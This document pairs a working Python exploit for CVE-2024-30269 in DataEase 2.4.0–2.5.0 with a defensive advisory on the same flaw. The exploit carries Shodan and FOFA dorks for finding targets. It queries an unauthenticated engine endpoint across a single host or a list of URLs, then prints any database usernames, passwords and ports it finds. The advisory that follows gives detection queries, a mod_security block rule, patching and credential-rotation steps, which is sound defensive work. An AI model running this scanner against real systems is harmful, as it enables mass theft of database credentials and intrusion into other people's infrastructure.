DataEase 2.4.0 - Database Configuration Information Exposure
# Exploit Title: DataEase 2.4.0 - Database Configuration Information Exposure
# Shodan Dork: http.html:"dataease" #
# FOFA Dork: body="dataease" && title=="DataEase" #
# Exploit Author: ByteHunter #
# Email: 0xByteHunter@proton.me #
# vulnerable Versions: 2.4.0-2.5.0 #
# Tested on: 2.4.0 #
# CVE : CVE-2024-30269 #
############################ #
################################################################
import argparse
import requests
import re
import json
from tqdm import tqdm
def create_vulnerability_checker():
vulnerable_count = 0
def check_vulnerability(url):
nonlocal vulnerable_count
endpoint = "/de2api/engine/getEngine;.js"
full_url = f"{url}{endpoint}"
headers = {
"Host": url.split('/')[2],
"Accept-Encoding": "gzip, deflate, br",
"Accept": "*/*",
"Accept-Language": "en-US;q=0.9,en;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36",
"Connection": "close",
"Cache-Control": "max-age=0"
}
try:
response = requests.get(full_url, headers=headers, timeout=5)
if response.status_code == 200:
try:
json_data = response.json()
config = json_data.get("data", {}).get("configuration", None)
if config:
config_data = json.loads(config)
username = config_data.get("username")
password = config_data.get("password")
port = config_data.get("port")
if username and password:
vulnerable_count += 1
print(f"Vulnerable: {full_url}")
print(f"Username: {username}")
print(f"Password: {password}")
if port is not None:
print(f"Port Number: {port}")
except (json.JSONDecodeError, KeyError):
print(f"Invalid JSON response from {full_url}")
except requests.RequestException:
pass
return vulnerable_count
return check_vulnerability
def main():
parser = argparse.ArgumentParser(description="CVE-2024-30269 DataEase Database Creds Extractor")
parser.add_argument('-u', '--url', type=str, help='Single target')
parser.add_argument('-l', '--list', type=str, help='URL File List')
args = parser.parse_args()
check_vulnerability = create_vulnerability_checker()
if args.url:
check_vulnerability(args.url)
elif args.list:
try:
with open(args.list, 'r') as file:
urls = [url.strip() for url in file.readlines() if url.strip()]
total_urls = len(urls)
for url in tqdm(urls, desc="Processing URLs", unit="url"):
check_vulnerability(url)
# tqdm.write(f"Vulnerable Instances: {check_vulnerability(url)}/{total_urls}")
except FileNotFoundError:
print(f"File not found: {args.list}")
else:
print("provide a URL with -u or a file with -l.")
if __name__ == "__main__":
main() DataEase 2.4.0 — Database Configuration Information Exposure (CVE-2024-30269)
Overview
DataEase instances in the 2.4.0–2.5.0 range contain an information exposure vulnerability (CVE-2024-30269) that can reveal database connection configuration including usernames, passwords and port numbers via an unauthenticated API endpoint. Exposed database credentials materially increase risk: attackers can obtain persistence, access sensitive data, pivot inside a network, or perform destructive actions against backend systems.
What is happening (high level)
At its core, this class of vulnerability occurs when an application unintentionally returns internal configuration data in a network response from an unauthenticated API. In affected DataEase builds a public endpoint returned a JSON payload containing a "configuration" structure with plaintext database credentials. The vulnerability is not a complex exploit technique — it is an information leak caused by insufficient access control and overly-broad debugging or diagnostic output being reachable from the network.
Affected versions and severity
- Affected versions: DataEase 2.4.0 through 2.5.0 (as reported).
- CVE identifier: CVE-2024-30269.
- Severity: High — exposure of credentials that may allow unauthorized database access and lateral movement.
Potential impact and attack scenarios
- Credential theft: Exposed DB usernames and passwords can be used to connect to backend databases.
- Lateral movement: Attackers with DB access can enumerate other systems, escalate privileges, or harvest additional secrets.
- Data exfiltration and integrity loss: Sensitive data stored in the database can be copied or modified.
- Supply chain concerns: Credentials embedded in configuration may be reused across environments (test, staging, production).
Detection and indicators
Defensive discovery should focus on detecting requests and responses related to the vulnerable endpoint and any unusual access to configuration data. Typical indicators include requests to internal API endpoints that return JSON containing keys such as "configuration", "username", "password" or other connection parameters.
Suggested detection approaches (defensive only):
- Search HTTP access logs for requests that reference suspicious engine/config endpoints and abnormal response sizes or content types.
- Monitor WAF, proxy and IDS/IPS alerts for attempts to reach diagnostic or admin APIs from external sources.
- Alert on outbound database connections originating from web application hosts that are unexpected or from new credentials.
Example defensive detection queries and rules
Below are illustrative, defensive-only examples to help you identify suspicious activity in logs or block malicious attempts to reach diagnostic endpoints. These examples are focused on detection and mitigation and do not show how to extract secrets.
# Splunk example: identify external requests to suspicious engine endpoints
index=web_access source="/var/log/nginx/access.log"
| search "/de2api/engine/" OR "getEngine"
| stats count by clientip, uri, status, useragent
This Splunk query looks for traffic hitting paths that contain "de2api/engine" or "getEngine" and summarizes by client IP, URI and status code so you can prioritize investigation of anomalous access.
# Example mod_security rule (defensive) to block or log requests to known diagnostic endpoints
SecRule REQUEST_URI "@rx /de2api/engine(/|;|$)" \
"id:900100,phase:1,deny,log,status:403,msg:'Blocked access to DataEase engine diagnostic endpoint'"
The rule blocks requests whose URI matches the diagnostic prefix. Customize action (log versus deny) to match your operational requirements; test in monitoring mode before auto-blocking in production.
# Simple grep for on-host forensic review (defensive)
grep -i "getEngine" /var/log/nginx/*access*.log | awk '{print $1,$4,$7,$9}'
This on-host command helps triage by extracting client IP and request path from access logs. Use in incident response to collect initial indicators quickly.
Mitigation and immediate remediation (recommended)
If you operate DataEase 2.4.0–2.5.0 or suspect exposure, prioritize the following steps:
- Patch: Apply the vendor patch or upgrade to a fixed release as soon as the vendor provides one. Patching the application to eliminate the information leak is the definitive fix.
- Network controls: Restrict access to management and internal APIs via network segmentation, firewall rules, or VPN-only access. Block external traffic to administrative and diagnostic endpoints.
- WAF rules: Temporarily configure WAF/mod_security to deny or log requests to the vulnerable API path until patched.
- Rotate credentials: If any plaintext DB credentials may have been exposed, rotate those passwords immediately and revoke any associated service accounts or keys.
- Audit and monitor: Inspect logs for suspicious activity and any connections to databases using the exposed credentials. Increase retention and capture detailed connection logs for forensic analysis.
- Principle of least privilege: Ensure DB accounts used by the application have the minimum privileges required. Avoid using highly privileged accounts for application connections.
Long-term hardening recommendations
- Secret management: Store credentials in a dedicated secrets manager or vault rather than in plaintext configuration files. Use dynamic secrets where possible.
- Access control: Ensure all internal/admin API endpoints require strong authentication and authorization controls and are not reachable from the public internet.
- Configuration hygiene: Remove or secure diagnostic endpoints and avoid embedding sensitive information in responses. Sanitize and filter debug output before releasing to production.
- Encryption and storage: Encrypt configuration at rest and limit access via file system permissions and process-level restrictions.
- Code review and testing: Include secret-leak checks in CI/CD pipelines (static analysis and automated scans) and regular security testing to catch information disclosure early.
Incident response checklist
- Containment: Block or restrict access to the vulnerable endpoint; isolate affected hosts if necessary.
- Eradication: Apply vendor patches and remove the insecure endpoint or its exposure path.
- Recovery: Rotate exposed credentials, validate new credentials, and restore normal operations after verification.
- Forensics: Preserve logs and system images, capture network traffic and database access logs for the investigation.
- Notification: Inform internal stakeholders and follow applicable breach notification requirements if sensitive data was accessed.
Useful references and further reading
- CVE-2024-30269 — vulnerability identifier for tracking vendor advisories and CVE database entries.
- Secure secret management best practices — use of vaults, short-lived credentials and rotation strategies.
- OWASP guidelines on logging and sensitive data — avoid logging secrets and ensure logs are protected.
Closing guidance
Information exposure vulnerabilities are frequently straightforward to prevent but devastating when exploited because attackers often only require the leaked secret to escalate. Prioritize patching, credential rotation, and restricting access to administrative APIs. Enhance detection so that attempts to enumerate or retrieve configuration data are visible to defenders early.